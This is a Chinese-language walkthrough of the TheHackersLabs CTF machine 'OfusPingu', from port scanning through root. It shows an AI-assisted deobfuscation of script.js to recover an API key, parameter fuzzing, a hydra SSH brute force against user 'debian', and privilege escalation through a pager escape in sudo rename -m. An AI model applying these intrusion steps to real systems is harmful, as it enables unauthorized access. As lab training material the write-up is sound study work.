OfusPingu

https://labs.thehackerslabs.com/machine/102

Recon

PortScan

➜  OfusPingu nmap -sn 192.168.56.0/24                      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 18:31 CST
Nmap scan report for 192.168.56.1
Host is up (0.00042s latency).
MAC Address: 0A:00:27:00:00:08 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00022s latency).
MAC Address: 08:00:27:45:5E:64 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.103
Host is up (0.00040s latency).
MAC Address: 08:00:27:95:98:CD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.5
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 27.97 seconds

➜  OfusPingu nmap -sT -min-rate 10000 -p- 192.168.56.103
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 18:34 CST
Nmap scan report for 192.168.56.103
Host is up (0.00056s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
MAC Address: 08:00:27:95:98:CD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 17.01 seconds

➜  OfusPingu nmap -sT -A -p 22,80,3000 192.168.56.103    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 18:36 CST
Nmap scan report for 192.168.56.103
Host is up (0.00056s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:08:d0:7c:02:65:4d:8b:95:7b:a2:89:af:ab:fc:9c (ECDSA)
|_  256 af:ff:d1:1b:e2:5a:32:cb:23:47:71:2d:7a:2c:93:2e (ED25519)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Ofuscaci\xC3\xB3n de C\xC3\xB3digo JavaScript | Seguridad en APIs
|_http-server-header: Apache/2.4.62 (Debian)
3000/tcp open  http    Node.js Express framework
|_http-title: Error
MAC Address: 08:00:27:95:98:CD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.56 ms 192.168.56.103

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.49 seconds

枚举

HTTP 80 端口

目录扫描

➜  OfusPingu feroxbuster --url http://192.168.56.103 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --filter-status 404,503,400 -x js,txt,zip,php
  
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.103
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢  Status Code Filters   │ [404, 503, 400]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [js, txt, zip, php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l       23w     1492c http://192.168.56.103/script.js
200      GET      422l     1343w    17244c http://192.168.56.103/
[####################] - 2m   1102740/1102740 0s      found:2       errors:965    
[####################] - 2m   1102725/1102725 8759/s  http://192.168.56.103/

script.js 很明显就是被混淆过了

通过 AI 进行恢复

// =======================================================
//               【还原后的可读代码】
// =======================================================

// 函数：初始化应用程序
function inicializarAplicacion() {
    // 这个 'configParts' 变量在这段代码中并未定义，
    // 它很可能是在此脚本加载之前的某个地方定义的全局变量。
    // 假设 configParts = ['QWERTY', 'CHOCOLATITO', 'CHOCOLATON', 'CHINGON']
    const API_KEY_SECRETA = configParts.map(f => f.toLowerCase()).join(''); 
    // 结果会是 'qwertychocolatitocholatonchingon'

    // 应用的配置对象
    const appConfig = {
        version: '1.0.3',
        entorno: 'produccion', // 环境：生产
        apiEndpoint: 'https://adivinaadivinanza/v3', // API 地址
        credenciales: {
            usuario: 'jeje',
            // 通过一系列字符串操作生成访问凭证
            acceso: API_KEY_SECRETA.split('').reverse().join('') + '123'.split('').reverse().join('')
            // 'qwertychocolatitocholatonchingon' -> 反转 -> 'nognihcnotalocotihtalocohcytrewq'
            // '123' -> 反转 -> '321'
            // 最终的 acceso 是 'nognihcnotalocotihtalocohcytrewq321'
        },
        features: {
            darkMode: true,
            analytics: false
        }
    };

    // 函数：连接API
    const conectarAPI = () => {
        // 对 'acceso' 凭证再次进行处理，生成最终的密钥
        const claveFinal = appConfig.credenciales.acceso.slice(0, -3).split('').reverse().join('');
        // 1. 去掉最后3个字符 ('321') -> 'nognihcnotalocotihtalocohcytrewq'
        // 2. 再次反转 -> 'qwertychocolatitocholatonchingon' (恢复原样)

        console.log('Conectando la API con clave:', claveFinal); // "连接 API，使用密钥: qwertychocolatitocholatonchingon"
        
        // 返回一个模拟的API连接成功对象
        return {
            status: 200,
            message: 'Conexión exitosa', // "连接成功"
            // 将 '密钥:admin' 进行 Base64 编码作为 token
            token: btoa(claveFinal + ':' + 'admin') 
        };
    };

    // **关键逻辑**：只有当网页的域名是 'secretazosecreton' 时，才执行连接API的操作
    if (window.location.hostname === 'secretazosecreton') {
        // 3秒后执行
        setTimeout(() => {
            const m = conectarAPI();
            console.log('Resultado conexión:', m); // "连接结果: ..."
        }, 3000);
    }
}

// 当整个页面的HTML加载和解析完成后，执行以下代码
document.addEventListener('DOMContentLoaded', () => {
    // 1. 初始化应用
    inicializarAplicacion();
    
    // 2. 给页面上所有的 <button> 元素添加点击事件监听
    const buttons = document.querySelectorAll('button');
    buttons.forEach(btn => {
        btn.addEventListener('click', () => {
            console.log('Botón clickeado'); // "按钮被点击了"
        });
    });
});

// 函数：验证密钥
function validarClave(a) {
    const claveReal = 'QWERTYCHOCOLATITOCHOCOLATONCHINGON';
    return a === claveReal;
}

// 这是一个模块导出语句，常见于 Node.js 环境。
// 意思是如果这个JS文件在支持模块化的环境（如Node.js）中被引用，
// 它会导出一个包含 validarClave 函数的对象。
if (typeof module !== 'undefined' && module.exports) {
    module.exports = {
        validarClave
    };
}

得到一些信息，例如秘钥：QWERTYCHOCOLATITOCHOCOLATONCHINGON

接下来到 3000端口

对 3000 端口进行 fuzz

➜  OfusPingu wfuzz -u 'http://192.168.56.103:3000/FUZZ' -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt --hc 404
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.56.103:3000/FUZZ
Total requests: 74332

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                        
=====================================================================

000000823:   400        0 L      2 W        33 Ch       "api"                                                                                                                          
000016154:   301        10 L     15 W       156 Ch      "public"                                                                                                                       
000016155:   301        10 L     15 W       156 Ch      "Public"                                                                                                                       
000022384:   400        0 L      2 W        21 Ch       "view"                                                                                                                         

Total time: 88.55361
Processed Requests: 74332
Filtered Requests: 74328
Requests/sec.: 839.4010

api 直接访问提示

{"error":"Parámetro incorrecto."}

view 直接访问提示

Parámetro incorrecto.

在对其进行枚举，使用上边的秘钥作为参数

➜  OfusPingu wfuzz -u 'http://192.168.56.103:3000/api/?FUZZ=QWERTYCHOCOLATITOCHOCOLATONCHINGON' -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt --hc=404,400
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.56.103:3000/api/?FUZZ=QWERTYCHOCOLATITOCHOCOLATONCHINGON
Total requests: 74332

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                        
=====================================================================

000020620:   200        0 L      1 W        30 Ch       "token"

枚举出来 token

➜  OfusPingu curl http://192.168.56.103:3000/api/\?token\=QWERTYCHOCOLATITOCHOCOLATONCHINGON                                                                     
{"key":"MI-KEY-SECRETA-12345"}#

得到一个 key

我们再测试 view

➜  OfusPingu curl http://192.168.56.103:3000/view/\?token\=QWERTYCHOCOLATITOCHOCOLATONCHINGON
Parámetro incorrecto.#

➜  OfusPingu curl http://192.168.56.103:3000/view/\?token\=MI-KEY-SECRETA-12345
Parámetro incorrecto.#

➜  OfusPingu curl http://192.168.56.103:3000/view/\?key\='MI-KEY-SECRETA-12345'                  
<!DOCTYPE html>        
<html lang="es">                                                                                
<head>                                                                                          
  <meta charset="UTF-8">                        
  <title>Zona Secreta</title
  ...

告诉我们可以使用密码和 debian 进行 ssh 登录

使用 hydra 进行爆破

➜  OfusPingu hydra -l debian -P /usr/share/wordlists/rockyou.txt -t 8 192.168.56.103 ssh                                                                                                       
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-05 19:53:26
[DATA] max 8 tasks per 1 server, overall 8 tasks, 14344399 login tries (l:1/p:14344399), ~1793050 tries per task
[DATA] attacking ssh://192.168.56.103:22/
[22][ssh] host: 192.168.56.103   login: debian   password: chocolate
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-05 19:53:41

进入后能读到 user.txt

debian@OfusPingu:~$ cat flag.txt 
457xxxxxxxxxxxxxxxxxxxxxxxxxxxx

权限提升

.bash_history 没删掉，但是内容貌似没有很有用

debian@OfusPingu:~$ ls -la
total 36
drwx------ 4 debian debian 4096 Jun  7 12:09 .
drwxr-xr-x 3 root   root   4096 Jun  7 10:52 ..
-rw------- 1 debian debian  387 Jun  7 12:16 .bash_history
-rw-r--r-- 1 debian debian  220 Jun  7 10:52 .bash_logout
-rw-r--r-- 1 debian debian 3526 Jun  7 10:52 .bashrc
-rw-r--r-- 1 root   root     33 Jun  7 12:09 flag.txt
drwxr-xr-x 3 debian debian 4096 Jun  7 12:05 .local
drwxr-xr-x 4 root   root   4096 Jun  7 17:03 mi-web
-rw-r--r-- 1 debian debian  807 Jun  7 10:52 .profile

debian@OfusPingu:~$ cat .bash_history 
sudo -l
sudo /usr/bin/rename
sudo /usr/bin/rename -h
sudo /usr/bin/rename -m
exit
ls
cd mi-web/
ls
pwd
sudo su
sudo -l
sudo /usr/bin/rename
sudo /usr/bin/rename -m
grub-mkpasswd-pbkdf2
touch /etc/grub.d/01_password && chmod a+x /etc/grub.d/01_password
nano /etc/grub.d/01_password
sudo nano /etc/grub.d/01_password
sudo su
sudo -l
sudo /usr/bin/rename -m
sudo -l
sudo /usr/bin/rename -m

查看 sudo 权限

debian@OfusPingu:~$ sudo -l
Matching Defaults entries for debian on OfusPingu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User debian may run the following commands on OfusPingu:
    (ALL) NOPASSWD: /usr/bin/rename

结束了，跟着.bash_history 敲 sudo /usr/bin/rename -m 会进入帮助

然后可以输入esc + !/bin/bash 即可切换到 root shell ，这里类似于使用 less 或者 more等来提权

读取 root.txt

root@OfusPingu:~# cat root.txt 
D99xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

TheHackersLabs - OfusPingu